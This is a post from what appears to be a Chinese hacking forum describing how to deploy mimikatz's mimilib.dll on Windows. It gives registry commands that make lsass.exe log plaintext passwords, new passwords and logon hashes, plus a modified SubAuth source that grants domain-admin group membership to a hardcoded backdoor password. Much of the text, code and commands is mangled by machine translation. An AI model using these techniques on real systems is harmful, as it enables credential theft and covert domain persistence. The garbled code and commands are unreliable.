跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Mimilib利用分析


尖REN

推荐的帖子

0x00 前言

Mimilib是米米卡茨的子工程,编译成功后生成文件mimilib.dll,包含多个导出函数。

目前介绍这个动态链接库用法的资料比较少,于是我将结合自己的测试结果,逐个介绍mimilib.dll导出函数的用法。

0x01 简介

本文将要介绍以下内容:

Mimilib导出函数简介

6种功能的具体用法

0x02 Mimilib导出函数简介

对应文件的地址为:

https://github。com/gentili kiwi/mimikatz/blob/master/mimilib/mimilib。极好的

内容如下:

出口

startW=kappfree_startW

spl samode initialize=kssp _ spl samode initialize

InitializeChangeNotify=k filt _ InitializeChangeNotify

passwordchangentify=k filt _ passwordchangentify

WinDbgExtensionDllInit=kdbg _ WinDbgExtensionDllInit

extensionapi版本=kdbg _ extensionapi版本

咖啡=kdbg _咖啡

mimikatz=kdbg_mimikatz

DnsPluginInitialize=kdns _ DnsPluginInitialize

dnspluginclean up=kdns _ dnspluginclean up

DnsPluginQuery=kdns _ DnsPluginQuery

DhcpServerCalloutEntry=kdh CP _ DhcpServerCalloutEntry

dhcpnewpkthoook=kdh CP _ dhcpnewpkthoook

ms v1 _ 0 subauthenticationroutine=ksub _ ms v1 _ 0 subauthenticationroutine

ms v1 _ 0 subauthenticationfilter=ksub _ ms v1 _ 0 subauthenticationroutine

我将以上导出函数划分成了6个实用的功能

0x03 6种功能的具体用法

1.Security Support Provider

对应导出函数如下:

SpLsaModeInitialize

使用方法:

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \ current Control set \ Control \ Lsa \

注册表项安全包的值添加一个mimilib

重新启动系统

进程lsass.exe将会加载mimilib.dll,同时在%SystemRoot%\System32生成文件kiwissp.log,记录当前用户的明文口令,测试结果如下图

2-1.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

米米卡茨中法定病假工资的使用

域渗透——安全支持提供商

2.PasswordChangeNotify

对应导出函数如下:

InitializeChangeNotify

密码更改通知

使用方法:

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \ current Control set \ Control \ Lsa \

注册表项通知包的值添加一个mimilib

重新启动系统

进程lsass.exe将会加载mimilib.dll,当系统发生修改密码的事件时,在%SystemRoot%\System32生成文件kiwifilter.log,记录用户新修改的明文口令,测试结果如下图

2-2.png

如果想在不重新启动系统的条件下实现相同的功能,可参考之前的分析文章:

域渗透——挂钩密码更改通知

3.WinDbg Extension

对应导出函数如下:

WinDbgExtensionDllInit

ExtensionApiVersion

咖啡

米米卡茨

使用方法:

将mimilib.dll保存至WinDbg的winext目录

我的测试环境(服务器2012R2x64)保存的路径为:C:\ Program Files \ Windows调试工具(x64)\winext

启动WinDbg

加载插件的命令如下:加载mimilib

测试结果如下图

2-3.png

调用命名实例:

!咖啡

4.DnsPlugin

对应导出函数如下:

DnsPluginInitialize

DnsPluginCleanup

DnsPluginQuery

使用方法:

需要在十进位计数制服务器上进行测试

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \当前控制集\ services \ DNS \ Parameters \

新建注册表项ServerLevelPluginDll,类型为REG_SZ,值为mimilib.dll

对应的煤矿管理局命令如下:

注册添加HKLM \系统\当前控制集\服务\ DNS \参数/v服务器级别插件Dll /t REG_SZ /d 'mimilib.dll' /f

重新启动系统

进程dns.exe将会加载mimilib.dll,当系统发生十进位计数制查询事件时,在%SystemRoot%\System32生成文件kiwidns.log,记录信息如下:

QueryName

查询类型

测试结果如下图

2-4.png

如果想远程实现相同的功能,可参考之前的分析文章:

域渗透——利用dnscmd在域名服务器(域名服务器)服务器上实现远程加载动态链接库

5.DHCP callout DLL

对应导出函数如下:

DhcpServerCalloutEntry

dhcpnewpkthoook

使用方法:

需要在动态主机配置协议服务器上进行测试

修改源代码,设置需要禁用的测量与控制(测量和控制)地址,对应代码位置:https://github。com/gentili kiwi/mimikatz/blob/master/Mimi lib/kdh CP。c # L35

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY _ LOCAL _ MACHINE \ System \当前控制集\服务\ DHCP服务器\参数

新建注册表项CalloutDlls,类型为注册_多重_SZ值为mimilib.dll

新建注册表项有能力的,类型为DWORD,值为一

对应的煤矿管理局命令如下:

注册添加HKLM \系统\当前控制集\服务\ DHCPServer \参数/v callout dll/t REG _ MULTI _ SZ/d ' Mimi lib。dll '/f

注册添加HKLM \系统\当前控制集\服务\ DHCP服务器\参数/v CalloutEnabled/t REG _ DWORD/d 1/f

重新启动系统

进程svchost.exe将会加载mimilib.dll,将对应测量与控制(测量和控制)地址的动态主机配置协议请求丢弃

参考资料:

https://份文件。微软。com/en-us/previous-versions/windows/桌面/DHCP/how-the-DHCP-server-API-operations

6.SubAuth

对应导出函数如下:

Msv1_0SubAuthenticationRoutine

Msv1_0SubAuthenticationFilter

使用方法:

将mimilib.dll保存至%SystemRoot%\System32

修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa \ ms v1 _ 0

新建注册表项Auth0,类型为REG_SZ,值为mimilib

对应的煤矿管理局命令如下:

注册添加HKLM \系统\当前控制集\控制\ Lsa \ ms v1 _ 0/v auth 0/t REG _ SZ/d ' Mimi lib '/f

如果是域环境,需要在域控制器上进行设置

修改注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa \ Kerberos

新建注册表项Auth0,类型为REG_SZ,值为mimilib

对应的煤矿管理局命令如下:

注册添加HKLM \系统\当前控制集\控制\ Lsa \ Kerberos/v auth 0/t REG _ SZ/d ' Mimi lib '/f

重新启动系统

进程lsass.exe将会加载mimilib.dll,当系统产生登录事件时,在%SystemRoot%\System32生成文件kiwisub.log,记录信息如下:

使用者辩证码

PrimaryGroupId

LogonDomainName

用户名

工作站

BadPasswordCount

混杂

这里需要注意当系统开机时,会记录计算机帐户的登录内容

这里可以尝试加入显示时间的代码,就能够获得每台主机的开机时间和用户登录时间

对应代码地址:https://github。com/gentili kiwi/mimikatz/blob/master/Mimi lib/ksub。c

修改后的内容如下:

/*本杰明德尔皮

http://blog.gentilkiwi.com

benjamin@gentilkiwi.com

文森特勒图

http://pingcastle.com/http://mysmartlogon.com

vincent.letoux@gmail.com

许可证:https://creative commons . org/licenses/by/4.0/

*/

#包含" ksub.h "

常量字节我的哈希[LM _ NTLM _哈希_长度]={0xea,0x37,0x0c,0xb7,0xb9,0x44,0x70,0x2c,0x09,0x68,0x30,0xdf,0xc3,0x53,0xe7,0x 02 };//Waza1234/admin

NTSTATUS NTAPI ksub _ ms v1 _ 0 subauthenticationroutine(在NETLOGON_LOGON_INFO_CLASS登录级别中,在PVOID登录信息中,在乌龙标志中,在PUSER _所有_信息用户所有中,在普隆哪些字段中,在普隆用户标志中,在PBOOLEAN权威中,在PLARGE_INTEGER登录时间中,在PLARGE _ INTEGER KickoffTime时间中)

{

FILE * ksub _ logfile

#杂注警告(推送)

#杂注警告(禁用:4996)

if(ksub _ log file=_ wf open(L ' kiwi sub。log ',L'a '))

#杂注警告(流行音乐)

{

系统时间st

GetLocalTime(ST);

klog(ksub_logfile,l'd-d-d d:d:d % u(% u)-% wz \ \ % wz(% wz)(% Hu)',st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wsecond,UserAll-UserId,UserAll-PrimaryGroupId,((PNETLOGON_LOGON_IDENTITY _ info)登录主名称,((pnet logon _ identity _ info)登录信息)-用户名,((pnet logon _ logon _ identity _ identity)

if(UserAll-NtPasswordPresent)

klog_hash(ksub_logfile,UserAll-NtPassword,FALSE);

if((user all-BadPasswordCount==4)| |(user all-nt password present rtleequalmemory(user all-nt password .Buffer,myHash,min(sizeof(myHash),UserAll-NtPassword .长度))))

{

user all-primary groupid=512;

klog(ksub_logfile,L ')\ n ');

}

else klog(ksub_logfile,L ' \ n ');

fclose(ksub _ log文件);

}

*哪些字段=0;

*用户标志=0;

*权威=真实;

注销时间-quad part=开始时间-quad part=0x 7 fffffffffffffff;

返回状态_成功;

}

测试结果如下图

2-5.png

参考资料:

https://github。com/Microsoft/Windows-classic-Samples/tree/master/Samples/win 7 Samples/security/authentic ation/msvsubauth

https://份文件。微软。com/en-us/windows/win32/sec authn/ms v1-0-认证包

0x04 小结

本文介绍了Mimilib中6种功能的具体用法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...